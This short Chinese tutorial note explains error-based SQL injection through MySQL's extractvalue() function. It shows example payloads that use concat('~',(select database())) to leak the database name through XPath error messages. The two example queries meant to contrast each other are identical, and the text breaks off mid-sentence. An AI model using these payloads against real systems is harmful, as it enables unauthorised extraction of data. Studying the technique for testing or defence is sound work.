extractvalue()
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(文档,路径)
路径写入其他格式,就会报错并且会返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容
正常查询 第二个参数的位置格式 为 /x/xx ,即使查询不到也不会报错
select username from security.user where id=1 and (extractvalue(‘1’,’/x/xx’))
使用concat()拼接 ‘ / ‘ 效果相同,
select id from test where id=1 and extractvalue(‘1’,concat(’~’,(select database())));
这里在’1’中查询不到,位置是 /database()的内容,
但没有语法错误,不会报错,下面故意写入错误语法:
select id from test where id=1 and extractvalue(‘1’,concat(’~’,(select database())));
可以看出,以~开头的内容不是xml格式的语法,发生报错,并显示无法识别的内